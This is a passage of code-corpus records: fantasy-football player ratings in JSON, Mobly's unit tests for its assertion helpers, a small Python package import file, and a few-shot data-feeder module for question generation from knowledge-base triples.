"votes": 7,
"bonus": 7,
"no_malus": 5,
"advice": 6,
"notes": "Sconsigliato",
"role": "POR"
},
{
"team": "JUV",
"name": "Buffon ",
"health": 9,
"player_regularity": 9,
"votes": 9,
"bonus": 7,
"no_malus": 9,
"advice": 10,
"notes": "",
"role": "POR"
},
{
"team": "SAS",
"name": "Consigli ",
"health": 9,
"player_regularity": 9,
"votes": 8,
"bonus": 7,
"no_malus": 7,
"advice": 7,
"notes": "",
"role": "POR"
},
{
"team": "CRO",
"name": "Cordaz ",
"health": 7,
"player_regularity": 9,
"votes": 7,
"bonus": 6,
"no_malus": 4,
"advice": 6,
"notes": "INF da val. ",
"role": "POR"
},
{
"team": "BOL",
"name": "Da Costa",
"health": 8,
"player_regularity": 6,
"votes": 7,
"bonus": 6,
"no_malus": 6,
"advice": 5,
"notes": "",
"role": "POR"
},
{
"team": "MIL",
"name": "Donnarumma ",
"health": 9,
"player_regularity": 9,
"votes": 8,
"bonus": 7,
"no_malus": 6,
"advice": 8,
"notes": "consigliato",
"role": "POR"
},
{
"team": "BOL",
"name": "Gomis ",
"health": 9,
"player_regularity": 5,
"votes": 6,
"bonus": 6,
"no_malus": 6,
"advice": 5,
"notes": "C d'afr",
"role": "POR"
},
{
"team": "TOR",
"name": "Hart",
"health": 8,
"player_regularity": 9,
"votes": 6,
"bonus": 6,
"no_malus": 6,
"advice": 7,
"notes": "sorpresa",
"role": "POR"
},
{
"team": "INT",
"name": "Handanovic ",
"health": 9,
"player_regularity": 10,
"votes": 7,
"bonus": 8,
"no_malus": 8,
"advice": 8,
"notes": "",
"role": "POR"
},
{
"team": "UDI",
"name": "Karnezis ",
"health": 9,
"player_regularity": 9,
"votes": 7,
"bonus": 7,
"no_malus": 4,
"advice": 6,
"notes": "",
"role": "POR"
},
{
"team": "GEN",
"name": "Lamanna ",
"health": 8,
"player_regularity": 5,
"votes": 6,
"bonus": 9,
"no_malus": 7,
"advice": 3,
"notes": "",
"role": "POR"
},
{
"team": "LAZ",
"name": "Marchetti ",
"health": 6,
"player_regularity": 8,
"votes": 7,
"bonus": 7,
"no_malus": 6,
"advice": 7,
"notes": "",
"role": "POR"
},
{
"team": "BOL",
"name": "Mirante",
"health": 5,
"player_regularity": 5,
"votes": 8,
"bonus": 7,
"no_malus": 6,
"advice": 5,
"notes": "inf indefinito.",
"role": "POR"
},
{
"team": "EMP",
"name": "Pelagotti ",
"health": 8,
"player_regularity": 6,
"votes": 6,
"bonus": 6,
"no_malus": 5,
"advice": 5,
"notes": "",
"role": "POR"
},
{
"team": "GEN",
"name": "Perin ",
"health": 8,
"player_regularity": 9,
"votes": 8,
"bonus": 7,
"no_malus": 7,
"advice": 8,
"notes": "consigliato",
"role": "POR"
},
{
"team": "PAL",
"name": "Posavec",
"health": 8,
"player_regularity": 8,
"votes": 6,
"bonus": 5,
"no_malus": 4,
"advice": 6,
"notes": "",
"role": "POR"
},
{
"team": "NAP",
"name": "Reina ",
"health": 7,
"player_regularity": 8,
"votes": 7,
"bonus": 7,
"no_malus": 8,
"advice": 7,
"notes": "",
"role": "POR"
},
{
"team": "ATA",
"name": "Sportiello ",
"health": 8,
"player_regularity": 6,
"votes": 6,
"bonus": 8,
"no_malus": 6,
"advice": 5,
"notes": "solo coppia",
"role": "POR"
},
{
"team": "CHI",
"name": "Sorrentino ",
"health": 9,
"player_regularity": 9,
"votes": 8,
"bonus": 6,
"no_malus": 7,
"advice": 7,
"notes": "consigliato",
"role": "POR"
},
{
"team": "ROM",
"name": "Szczesny ",
"health": 9,
"player_regularity": 7,
"votes": 7,
"bonus": 6,
"no_malus": 8,
"advice": 8,
"notes": "solo coppia",
"role": "POR"
},
{
"team": "EMP",
"name": "Skorupski",
"health": 7,
"player_regularity": 8,
"votes": 7,
"bonus": 6,
"no_malus": 6,
"advice": 7,
"notes": "",
"role": "POR"
},
{
"team": "FIO",
"name": "Tatarusanu",
"health": 8,
"player_regularity": 9,
"votes": 6,
"bonus": 6,
"no_malus": 6,
"advice": 7,
"notes": "INF 4^",
"role": "POR"
},
{
"team": "SAM",
"name": "Viviano ",
"health": 8,
"player_regularity": 9,
"votes": 7,
"bonus": 8,
"no_malus": 6,
"advice": 7,
"notes": "",
"role": "POR"
},
{
"team": "ATA",
"name": "CONTI",
"health": 8,
"player_regularity": 7,
"votes": 5,
"bonus": 7,
"no_malus": 6,
"advice": 6,
"notes": "",
"role": "DIF"
},
{
"team": "ATA",
"name": "DRAME'",
"health": 7,
"player_regularity": 7,
"votes": 5,
"bonus": 6,
"no_malus": 7,
"advice": 6,
"notes": "C d'afr",
"role": "DIF"
},
{
"team": "ATA",
"name": "MASIELLO A. (Atal)",
"health": 7,
"player_regularity": 7,
"votes": 6,
"bonus": 4,
"no_malus": 5,
"advice": 5,
"notes": "sconsigliato",
"role": "DIF"
},
{
"team": "ATA",
"name": "KONKO",
"health": 6,
"player_regularity": 8,
"votes": 6,
"bonus": 4,
"no_malus": 6,
"advice": 6,
"notes": "",
"role": "DIF"
},
{
"team": "ATA",
"name": "ZUKANOVIC",
"health": 8,
"player_regularity": 8,
"votes": 5,
"bonus": 8,
"no_malus": 6,
"advice": 7,
"notes": "pun; sorpresa",
"role": "DIF"
},
{
"team": "ATA",
"name": "TOLOI",
"health": 7,
"player_regularity": 8,
"votes": 5,
"bonus": 7,
"no_malus": 5,
"advice": 6,
"notes": "",
"role": "DIF"
},
{
"team": "BOL",
"name": "GASTALDELLO",
"health": 8,
"player_regularity": 7,
"votes": 8,
"bonus": 6,
"no_malus": 6,
"advice": 7,
"notes": "consigliato",
"role": "DIF"
},
{
"team": "BOL",
"name": "HELANDER",
"health": 7,
"player_regularity": 6,
"votes": 6,
"bonus": 7,
"no_malus": 5,
"advice": 6,
"notes": "",
"role": "DIF"
},
{
"team": "BOL",
"name": "KRAFTH",
"health": 7,
"player_regularity": 6,
"votes": 7,
"bonus": 5,
"no_malus": 6,
"advice": 6,
"notes": "",
"role": "DIF"
},
{
"team": "BOL",
"name": "MAIETTA",
"health": 7,
"player_regularity": 6,
"votes": 7,
"bonus": 5,
"no_malus": 5,
"advice": 5,
"notes": "",
"role": "DIF"
},
{
"team": "BOL",
"name": "MASINA",
"health": 8,
"player_regularity": 7,
"votes": 7,
"bonus": 6,
"no_malus": 6,
"advice": 7,
"notes": "C d'afr",
"role": "DIF"
},
{
"team": "BOL",
"name": "OIKONOMOU",
"health": 8,
"player_regularity": 6,
"votes": 6,
"bonus": 5,
"no_malus": 6,
"advice": 6,
"notes": "",
"role": "DIF"
},
{
"team": "BOL",
"name": "TOROSIDIS",
"health": 8,
"player_regularity": 7,
"votes": 7,
"bonus": 7,
"no_malus": 6,
"advice": 6,
"notes": "",
"role": "DIF"
},
{
"team": "CAG",
"name": "ALVES B.",
"health": 7,
"player_regularity": 8,
"votes": 7,
"bonus": 6,
"no_malus": 5,
"advice": 7,
"notes": "",
"role": "DIF"
},
{
"team": "CAG",
"name": "BITTANTE",
"health": 7,
"player_regularity": 5,
"votes": 5,
"bonus": 5,
"no_malus": 8,
"advice": 4,
"notes": "",
"role": "DIF"
},
{
"team": "CAG",
"name": "CAPUANO",
"health": 6,
"player_regularity": 6,
"votes": 6,
"bonus": 5,
"no_malus": 7,
"advice": 5,
"notes": "",
"role": "DIF"
},
{
"team": "CAG",
"name": "CEPPITELLI",
"health": 7,
"player_regularity": 7,
"votes": 6,
"bonus": 6,
"no_malus": 5,
"advice": 6,
"notes": "",
"role": "DIF"
},
{
"team": "CAG",
"name": "ISLA",
"health": 7,
"player_regularity": 8,
"votes": 7,
"bonus": 6,
"no_malus": 6,
"advice": 8,
"notes": "",
"role": "DIF"
},
{
"team": "CAG",
"name": "MURRU",
"health": 8,
"player_regularity": 8,
"votes": 5,
"bonus": 5,
"no_malus": 5,
"advice": 5,
"notes": "sconsigliato",
"role": "DIF"
},
{
"team": "CAG",
"name": "PISACANE",
"health": 8,
"player_regularity": 6,
"votes": 6,
"bonus": 5,
"no_malus": 5,
"advice": 5,
"notes": "sconsigliato",
"role": "DIF"
},
{
"team": "CAG",
"name": "SALAMON",
"health": 8,
"player_regularity": 6,
"votes": 7,
"bonus": 6,
"no_malus": 6,
"advice": 6,
"notes": "",
"role": "DIF"
},
{
"team": "CHI",
"name": "CACCIATORE",
"health": 9,
"player_regularity": 7,
"votes": 6,
"bonus": 6,
"no_malus": 6,
"advice": 7,
"notes": "sorpresa",
"role": "DIF"
},
{
"team": "CHI",
"name": "CESAR",
"health": 8,
"player_regularity": 9,
"votes": 6,
"bonus": 5,
"no_malus": 4,
"advice": 6,
"notes": "",
"role": "DIF"
},
{
"team": "CHI",
"name": "GOBBI",
"health": 8,
"player_regularity": 9,
"votes": 6,
"bonus": 4,
"no_malus": 5,
"advice": 6,
"notes": "",
"role": "DIF"
},
{
"team": "CRO",
"name": "CECCHERINI",
"health": 7,
"player_regularity": 6,
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662173f9444fd1e1a375bf5845f450cf9cbbf649 | 14,120 | py | Python | tests/mobly/asserts_test.py | booneng/mobly | 539788309c7631c20fa5381937e10f9cd997e2d0 | [
"Apache-2.0"
] | 1 | 2022-01-09T05:17:09.000Z | 2022-01-09T05:17:09.000Z | tests/mobly/asserts_test.py | booneng/mobly | 539788309c7631c20fa5381937e10f9cd997e2d0 | [
"Apache-2.0"
] | null | null | null | tests/mobly/asserts_test.py | booneng/mobly | 539788309c7631c20fa5381937e10f9cd997e2d0 | [
"Apache-2.0"
] | 1 | 2021-12-16T07:37:02.000Z | 2021-12-16T07:37:02.000Z | # Copyright 2016 Google Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
import unittest
from mobly import asserts
from mobly import signals
MSG_EXPECTED_EXCEPTION = 'This is an expected exception.'
_OBJECT_1 = object()
_OBJECT_2 = object()
class AssertsTest(unittest.TestCase):
"""Verifies that asserts.xxx functions raise the correct test signals."""
def test_assert_false(self):
asserts.assert_false(False, MSG_EXPECTED_EXCEPTION)
with self.assertRaisesRegex(signals.TestFailure, MSG_EXPECTED_EXCEPTION):
asserts.assert_false(True, MSG_EXPECTED_EXCEPTION)
def test_assert_not_equal_pass(self):
asserts.assert_not_equal(1, 2)
def test_assert_not_equal_pass_with_msg_and_extras(self):
asserts.assert_not_equal(1, 2, msg='Message', extras='Extras')
def test_assert_not_equal_fail(self):
with self.assertRaises(signals.TestFailure) as cm:
asserts.assert_not_equal(1, 1)
self.assertEqual(cm.exception.details, '1 == 1')
def test_assert_not_equal_fail_with_msg_and_extras(self):
with self.assertRaises(signals.TestFailure) as cm:
asserts.assert_not_equal(1, 1, msg='Message', extras='Extras')
self.assertEqual(cm.exception.details, '1 == 1 Message')
self.assertEqual(cm.exception.extras, 'Extras')
def test_assert_almost_equal_pass(self):
asserts.assert_almost_equal(1.000001, 1.000002, places=3)
asserts.assert_almost_equal(1.0, 1.05, delta=0.1)
def test_assert_almost_equal_fail(self):
with self.assertRaises(signals.TestFailure) as cm:
asserts.assert_almost_equal(1, 1.0005, places=7)
self.assertRegex(cm.exception.details, r'1 != 1\.0005 within 7 places')
def test_assert_almost_equal_fail_with_msg_and_extras(self):
with self.assertRaises(signals.TestFailure) as cm:
asserts.assert_almost_equal(1,
2,
delta=0.1,
msg='Message',
extras='Extras')
self.assertRegex(cm.exception.details, r'1 != 2 within 0\.1 delta.*Message')
self.assertEqual(cm.exception.extras, 'Extras')
def test_assert_not_almost_equal_pass(self):
asserts.assert_not_almost_equal(1.001, 1.002, places=3)
asserts.assert_not_almost_equal(1.0, 1.05, delta=0.01)
def test_assert_not_almost_equal_fail(self):
with self.assertRaises(signals.TestFailure) as cm:
asserts.assert_not_almost_equal(1, 1.0005, places=3)
self.assertRegex(cm.exception.details, r'1 == 1\.0005 within 3 places')
def test_assert_not_almost_equal_fail_with_msg_and_extras(self):
with self.assertRaises(signals.TestFailure) as cm:
asserts.assert_not_almost_equal(1,
2,
delta=1,
msg='Message',
extras='Extras')
self.assertRegex(cm.exception.details, r'1 == 2 within 1 delta.*Message')
self.assertEqual(cm.exception.extras, 'Extras')
def test_assert_in_pass(self):
asserts.assert_in(1, [1, 2, 3])
asserts.assert_in(1, (1, 2, 3))
asserts.assert_in(1, {1: 2, 3: 4})
asserts.assert_in('a', 'abcd')
def test_assert_in_fail(self):
with self.assertRaises(signals.TestFailure) as cm:
asserts.assert_in(4, [1, 2, 3])
self.assertEqual(cm.exception.details, '4 not found in [1, 2, 3]')
def test_assert_in_fail_with_msg_and_extras(self):
with self.assertRaises(signals.TestFailure) as cm:
asserts.assert_in(4, [1, 2, 3], msg='Message', extras='Extras')
self.assertEqual(cm.exception.details, '4 not found in [1, 2, 3] Message')
self.assertEqual(cm.exception.extras, 'Extras')
def test_assert_not_in_pass(self):
asserts.assert_not_in(4, [1, 2, 3])
asserts.assert_not_in(4, (1, 2, 3))
asserts.assert_not_in(4, {1: 2, 3: 4})
asserts.assert_not_in('e', 'abcd')
def test_assert_not_in_fail(self):
with self.assertRaises(signals.TestFailure) as cm:
asserts.assert_not_in(1, [1, 2, 3])
self.assertEqual(cm.exception.details, '1 unexpectedly found in [1, 2, 3]')
def test_assert_not_in_fail_with_msg_and_extras(self):
with self.assertRaises(signals.TestFailure) as cm:
asserts.assert_not_in(1, [1, 2, 3], msg='Message', extras='Extras')
self.assertEqual(cm.exception.details,
'1 unexpectedly found in [1, 2, 3] Message')
self.assertEqual(cm.exception.extras, 'Extras')
def test_assert_is_pass(self):
asserts.assert_is(_OBJECT_1, _OBJECT_1)
def test_assert_is_fail(self):
with self.assertRaises(signals.TestFailure) as cm:
asserts.assert_is(_OBJECT_1, _OBJECT_2)
self.assertEqual(cm.exception.details, f'{_OBJECT_1} is not {_OBJECT_2}')
def test_assert_is_fail_with_msg_and_extras(self):
with self.assertRaises(signals.TestFailure) as cm:
asserts.assert_is(_OBJECT_1, _OBJECT_2, msg='Message', extras='Extras')
self.assertEqual(cm.exception.details,
f'{_OBJECT_1} is not {_OBJECT_2} Message')
self.assertEqual(cm.exception.extras, 'Extras')
def test_assert_is_not_pass(self):
asserts.assert_is_not(_OBJECT_1, _OBJECT_2)
def test_assert_is_not_fail(self):
with self.assertRaises(signals.TestFailure) as cm:
asserts.assert_is_not(_OBJECT_1, _OBJECT_1)
self.assertEqual(cm.exception.details,
f'unexpectedly identical: {_OBJECT_1}')
def test_assert_is_not_fail_with_msg_and_extras(self):
with self.assertRaises(signals.TestFailure) as cm:
asserts.assert_is_not(_OBJECT_1,
_OBJECT_1,
msg='Message',
extras='Extras')
self.assertEqual(cm.exception.details,
f'unexpectedly identical: {_OBJECT_1} Message')
self.assertEqual(cm.exception.extras, 'Extras')
def test_assert_count_equal_pass(self):
asserts.assert_count_equal((1, 3, 3), [3, 1, 3])
def test_assert_count_equal_fail(self):
with self.assertRaises(signals.TestFailure) as cm:
asserts.assert_count_equal([3, 3], [3])
self.assertEqual(
cm.exception.details,
'Element counts were not equal:\nFirst has 2, Second has 1: 3')
def test_assert_count_equal_fail_with_msg_and_extras(self):
with self.assertRaises(signals.TestFailure) as cm:
asserts.assert_count_equal((3, 3), (4, 4), msg='Message', extras='Extras')
self.assertEqual(cm.exception.details,
('Element counts were not equal:\n'
'First has 2, Second has 0: 3\n'
'First has 0, Second has 2: 4 Message'))
self.assertEqual(cm.exception.extras, 'Extras')
def test_assert_less_pass(self):
asserts.assert_less(1.0, 2)
def test_assert_less_fail(self):
with self.assertRaises(signals.TestFailure) as cm:
asserts.assert_less(1, 1)
self.assertEqual(cm.exception.details, '1 not less than 1')
def test_assert_less_fail_with_msg_and_extras(self):
with self.assertRaises(signals.TestFailure) as cm:
asserts.assert_less(2, 1, msg='Message', extras='Extras')
self.assertEqual(cm.exception.details, '2 not less than 1 Message')
self.assertEqual(cm.exception.extras, 'Extras')
def test_assert_less_equal_pass(self):
asserts.assert_less_equal(1.0, 2)
asserts.assert_less_equal(1, 1)
def test_assert_less_equal_fail(self):
with self.assertRaises(signals.TestFailure) as cm:
asserts.assert_less_equal(2, 1)
self.assertEqual(cm.exception.details, '2 not less than or equal to 1')
def test_assert_less_equal_fail_with_msg_and_extras(self):
with self.assertRaises(signals.TestFailure) as cm:
asserts.assert_less_equal(2, 1, msg='Message', extras='Extras')
self.assertEqual(cm.exception.details,
'2 not less than or equal to 1 Message')
self.assertEqual(cm.exception.extras, 'Extras')
def test_assert_greater_pass(self):
asserts.assert_greater(2, 1.0)
def test_assert_greater_fail(self):
with self.assertRaises(signals.TestFailure) as cm:
asserts.assert_greater(1, 1)
self.assertEqual(cm.exception.details, '1 not greater than 1')
def test_assert_greater_fail_with_msg_and_extras(self):
with self.assertRaises(signals.TestFailure) as cm:
asserts.assert_greater(1, 2, msg='Message', extras='Extras')
self.assertEqual(cm.exception.details, '1 not greater than 2 Message')
self.assertEqual(cm.exception.extras, 'Extras')
def test_assert_greater_equal_pass(self):
asserts.assert_greater_equal(2, 1.0)
asserts.assert_greater_equal(1, 1)
def test_assert_greater_equal_fail(self):
with self.assertRaises(signals.TestFailure) as cm:
asserts.assert_greater_equal(1, 2)
self.assertEqual(cm.exception.details, '1 not greater than or equal to 2')
def test_assert_greater_equal_fail_with_msg_and_extras(self):
with self.assertRaises(signals.TestFailure) as cm:
asserts.assert_greater_equal(1, 2, msg='Message', extras='Extras')
self.assertEqual(cm.exception.details,
'1 not greater than or equal to 2 Message')
self.assertEqual(cm.exception.extras, 'Extras')
def test_assert_is_none_pass(self):
asserts.assert_is_none(None)
def test_assert_is_none_fail(self):
with self.assertRaises(signals.TestFailure) as cm:
asserts.assert_is_none(1)
self.assertEqual(cm.exception.details, '1 is not None')
def test_assert_is_none_fail_with_msg_and_extras(self):
with self.assertRaises(signals.TestFailure) as cm:
asserts.assert_is_none(1, msg='Message', extras='Extras')
self.assertEqual(cm.exception.details, '1 is not None Message')
self.assertEqual(cm.exception.extras, 'Extras')
def test_assert_is_not_none_pass(self):
asserts.assert_is_not_none(1)
def test_assert_is_not_none_fail(self):
with self.assertRaises(signals.TestFailure) as cm:
asserts.assert_is_not_none(None)
self.assertEqual(cm.exception.details, 'unexpectedly None')
def test_assert_is_none_not_fail_with_msg_and_extras(self):
with self.assertRaises(signals.TestFailure) as cm:
asserts.assert_is_not_none(None, msg='Message', extras='Extras')
self.assertEqual(cm.exception.details, 'unexpectedly None Message')
self.assertEqual(cm.exception.extras, 'Extras')
def test_assert_is_instance_pass(self):
asserts.assert_is_instance('foo', str)
asserts.assert_is_instance(1, int)
asserts.assert_is_instance(1.0, float)
def test_assert_is_instance_fail(self):
with self.assertRaises(signals.TestFailure) as cm:
asserts.assert_is_instance(1, str)
self.assertEqual(cm.exception.details, f'1 is not an instance of {str}')
def test_assert_is_instance_fail_with_msg_and_extras(self):
with self.assertRaises(signals.TestFailure) as cm:
asserts.assert_is_instance(1.0, int, msg='Message', extras='Extras')
self.assertEqual(cm.exception.details,
f'1.0 is not an instance of {int} Message')
self.assertEqual(cm.exception.extras, 'Extras')
def test_assert_not_is_instance_pass(self):
asserts.assert_not_is_instance('foo', int)
asserts.assert_not_is_instance(1, float)
asserts.assert_not_is_instance(1.0, int)
def test_assert_not_is_instance_fail(self):
with self.assertRaises(signals.TestFailure) as cm:
asserts.assert_not_is_instance(1, int)
self.assertEqual(cm.exception.details, f'1 is an instance of {int}')
def test_assert_not_is_instance_fail_with_msg_and_extras(self):
with self.assertRaises(signals.TestFailure) as cm:
asserts.assert_not_is_instance('foo', str, msg='Message', extras='Extras')
self.assertEqual(cm.exception.details,
f"'foo' is an instance of {str} Message")
self.assertEqual(cm.exception.extras, 'Extras')
def test_assert_regex_pass(self):
asserts.assert_regex('Big rocks', r'(r|m)ocks')
def test_assert_regex_fail(self):
with self.assertRaises(signals.TestFailure) as cm:
asserts.assert_regex('Big socks', r'(r|m)ocks')
self.assertEqual(
cm.exception.details,
"Regex didn't match: '(r|m)ocks' not found in 'Big socks'")
def test_assert_regex_fail_with_msg_and_extras(self):
with self.assertRaises(signals.TestFailure) as cm:
asserts.assert_regex('Big socks',
r'(r|m)ocks',
msg='Message',
extras='Extras')
self.assertEqual(
cm.exception.details,
("Regex didn't match: '(r|m)ocks' not found in 'Big socks' "
'Message'))
self.assertEqual(cm.exception.extras, 'Extras')
def test_assert_not_regex_pass(self):
asserts.assert_not_regex('Big socks', r'(r|m)ocks')
def test_assert_not_regex_fail(self):
with self.assertRaises(signals.TestFailure) as cm:
asserts.assert_not_regex('Big rocks', r'(r|m)ocks')
self.assertEqual(
cm.exception.details,
"Regex matched: 'rocks' matches '(r|m)ocks' in 'Big rocks'")
def test_assert_not_regex_fail_with_msg_and_extras(self):
with self.assertRaises(signals.TestFailure) as cm:
asserts.assert_not_regex('Big mocks',
r'(r|m)ocks',
msg='Message',
extras='Extras')
self.assertEqual(
cm.exception.details,
("Regex matched: 'mocks' matches '(r|m)ocks' in 'Big mocks' "
'Message'))
self.assertEqual(cm.exception.extras, 'Extras')
if __name__ == '__main__':
unittest.main()
| 40.927536 | 80 | 0.696955 | 2,007 | 14,120 | 4.663179 | 0.07723 | 0.098622 | 0.077786 | 0.138904 | 0.879902 | 0.826691 | 0.745165 | 0.701891 | 0.674538 | 0.651779 | 0 | 0.023501 | 0.192351 | 14,120 | 344 | 81 | 41.046512 | 0.797176 | 0.043697 | 0 | 0.333333 | 0 | 0 | 0.131405 | 0 | 0 | 0 | 0 | 0 | 0.82397 | 1 | 0.209738 | false | 0.071161 | 0.011236 | 0 | 0.224719 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 8 |
b0a2989f1b887b4a6da0b2515e75d886b8a0f036 | 244 | py | Python | crafter/commands/__init__.py | rdp-jr/crafter | 76be5ecc730ebc4165e53be410b77d142828218a | [
"MIT"
] | null | null | null | crafter/commands/__init__.py | rdp-jr/crafter | 76be5ecc730ebc4165e53be410b77d142828218a | [
"MIT"
] | null | null | null | crafter/commands/__init__.py | rdp-jr/crafter | 76be5ecc730ebc4165e53be410b77d142828218a | [
"MIT"
] | null | null | null | from crafter.commands.create_controller import create_controller
from crafter.commands.create_model import create_model
from crafter.commands.create_route import create_route
from crafter.commands.create_relationship import create_relationship
| 48.8 | 68 | 0.901639 | 32 | 244 | 6.625 | 0.28125 | 0.207547 | 0.358491 | 0.471698 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.065574 | 244 | 4 | 69 | 61 | 0.929825 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 7 |
b0c93d024a474b6c2729082ae2541e92d6a29030 | 18,913 | py | Python | data/data.py | NAACL2018Anonymous/submission | e02eb38adb047f7b50bc861f3a3383af87ae7079 | [
"MIT"
] | 65 | 2018-05-04T22:53:06.000Z | 2022-01-14T03:09:12.000Z | data/data.py | NAACL2018Anonymous/submission | e02eb38adb047f7b50bc861f3a3383af87ae7079 | [
"MIT"
] | 4 | 2018-07-16T07:30:47.000Z | 2020-03-20T15:06:50.000Z | data/data.py | NAACL2018Anonymous/submission | e02eb38adb047f7b50bc861f3a3383af87ae7079 | [
"MIT"
] | 17 | 2018-06-04T09:12:39.000Z | 2020-09-27T14:00:42.000Z | import os
import math
import pandas as pd
import numpy as np
class Data:
"""
class acts as a convenient data feeder for few shots learning
"""
def __init__(self, datapath=None, seed=3, remove_unk=False):
self.remove_unk = remove_unk
if datapath is None:
datapath = os.path.join(os.path.dirname(os.path.abspath(__file__)), "./preprocessed")
np.random.seed(seed)
# loading vocab
def return_vocab(filename):
keys = [l.strip() for l in open(filename).readlines()]
values = range(0, len(keys))
return dict(zip(keys, values))
def return_inv_vocab(filename):
keys = [l.strip() for l in open(filename).readlines()]
values = range(0, len(keys))
return dict(zip(values, keys))
self.entityvocab = return_vocab(os.path.join(datapath, "entity.vocab"))
self.propertyvocab = return_vocab(os.path.join(datapath, "property.vocab"))
self.wordvocab = return_vocab(os.path.join(datapath, "word.vocab"))
self.inv_entityvocab = return_inv_vocab(os.path.join(datapath, "entity.vocab"))
self.inv_propertyvocab = return_inv_vocab(os.path.join(datapath, "property.vocab"))
self.inv_wordvocab = return_inv_vocab(os.path.join(datapath, "word.vocab"))
# loading data files names
self.datafile = {"train":os.path.join(datapath, "train.ids"),
"valid": os.path.join(datapath, "valid.ids"),
"test": os.path.join(datapath, "valid.ids")
}
self.data = {}
def read_data(self, mode):
# modes = ["train", "test", "valid"]
data = []
f = self.datafile[mode]
x = pd.read_csv(f, names=["sub", "pred", "obj", "question", "subtype", "objtype", "dep", "direction", "placeholder_dict"])
if self.remove_unk:
unkdep = self.wordvocab["_UNK_DEP_"] if "_UNK_DEP_" in self.wordvocab else None
x = x[x.dep != unkdep]
x = x[x.apply(lambda i: str(self.wordvocab["_PLACEHOLDER_SUB_"]) in i['question'].split(), axis=1)]
x.reset_index(inplace=True)
tmp = [[], [], [], []]
for l in x.iterrows():
tmp[0].append([int(i) for i in l[1]['question'].split()])
tmp[1].append([int(i) for i in l[1]['subtype'].split()])
tmp[2].append([int(i) for i in l[1]['objtype'].split()])
tmp[3].append([int(i) for i in l[1]['dep'].split()])
x['question'] = tmp[0]
x['subtype'] = tmp[1]
x['objtype'] = tmp[2]
x['dep'] = tmp[3]
x['question_length'] = x.apply(lambda l: len(l['question']), axis=1)
x['subtype_length'] = x.apply(lambda l: len(l['subtype']), axis=1)
x['objtype_length'] = x.apply(lambda l: len(l['objtype']), axis=1)
x['dep_length'] = x.apply(lambda l: len(l['dep']), axis=1)
x['triple'] = x.apply(lambda l: [l['sub'], l['pred'], l['obj']], axis=1)
return x
def datafeed(self, mode, config, shuffle=True):
"""
:param mode: train, valid, test
:param config: config object
:param shot_percentage: float between 0 and 1 indicating the percentage of the training data taken into consideration
:param min_count: int indicating the minimum count of the predicates of the examples being taken in to consideration
:param shuffle: whether to shuffle the training data or not
:param kfold: a number between 1 and 10
:return:
"""
x = self.read_data(mode)
self.data[mode] = x
dataids = x.index
if shuffle:
np.random.shuffle(dataids)
return self.yield_datafeed(mode, dataids, x, config)
def yield_datafeed(self, mode, dataids, x, config):
"""
given a dataframe and selected ids and a mode yield data for experiments
:param mode:
:param dataids:
:param x:
:param config:
:return:
"""
if mode == "train":
for epoch in range(config.MAX_EPOCHS):
def chunks(l, n):
"""Yield successive n-sized chunks from l."""
for i in range(0, len(l), n):
yield l[i:i + n]
for bn, batchids in enumerate(chunks(dataids, config.BATCH_SIZE)):
batch = x.iloc[batchids]
max_length = max([batch['subtype_length'].values.max(),
batch['objtype_length'].values.max(),
batch['dep_length'].values.max(),
])
yield (
np.array([i for i in batch['triple'].values]),
self.pad(batch['subtype'].values, max_length=max_length),
batch['subtype_length'].values,
self.pad(batch['objtype'].values, max_length=max_length),
batch['objtype_length'].values,
self.pad(batch['dep'].values, max_length=max_length),
batch['dep_length'].values,
self.pad(batch['question'].values),
batch['question_length'].values,
batch['direction'].values,
{"epoch": epoch, "batch_id": bn, "ids": batchids, "placeholder_dict":[eval(i) for i in batch["placeholder_dict"].values]} # meta info
)
if mode == "test" or mode == "valid":
# in case of test of validation batch of size 1 and no shuffle
# takes longer computation time but allows variable lengths
for id in dataids:
batch = x.iloc[[id]]
max_length = max([batch['subtype_length'].values.max(),
batch['objtype_length'].values.max(),
batch['dep_length'].values.max(),
])
yield (
np.array([i for i in batch['triple']]),
self.pad(batch['subtype'], max_length=max_length),
batch['subtype_length'].values,
self.pad(batch['objtype'], max_length=max_length),
batch['objtype_length'].values,
self.pad(batch['dep'].values, max_length=max_length),
batch['dep_length'].values,
self.pad(batch['question'].values),
batch['question_length'].values,
batch['direction'].values,
{"ids": id, "placeholder_dict": [eval(i) for i in batch["placeholder_dict"].values]} # meta info
)
def pad(self, x, pad_char=0, max_length=None):
"""
helper function to add padding to a batch
:param x: array of arrays of variable length
:return: x with padding of max length
"""
if max_length is None:
max_length = max([len(i) for i in x])
y = np.ones([len(x), max_length]) * pad_char
for c, i in enumerate(x):
y[c, :len(i)] = i
return y
class FewShotsDataFeeder:
"""
class acts as a convenient data feeder for few shots learning
"""
def __init__(self, datapath=None, seed=3, train_percent=0.7, test_percent=0.2, remove_unk=False):
assert 0 < train_percent + test_percent <= 1
self.train_percent = train_percent
self.test_percent = test_percent
self.valid_percent = 1 - (train_percent+test_percent)
self.remove_unk = remove_unk
if datapath is None:
datapath = os.path.join(os.path.dirname(os.path.abspath(__file__)), "./preprocessed")
np.random.seed(seed)
# loading vocab
def return_vocab(filename):
keys = [l.strip() for l in open(filename).readlines()]
values = range(0, len(keys))
return dict(zip(keys, values))
def return_inv_vocab(filename):
keys = [l.strip() for l in open(filename).readlines()]
values = range(0, len(keys))
return dict(zip(values, keys))
self.entityvocab = return_vocab(os.path.join(datapath, "entity.vocab"))
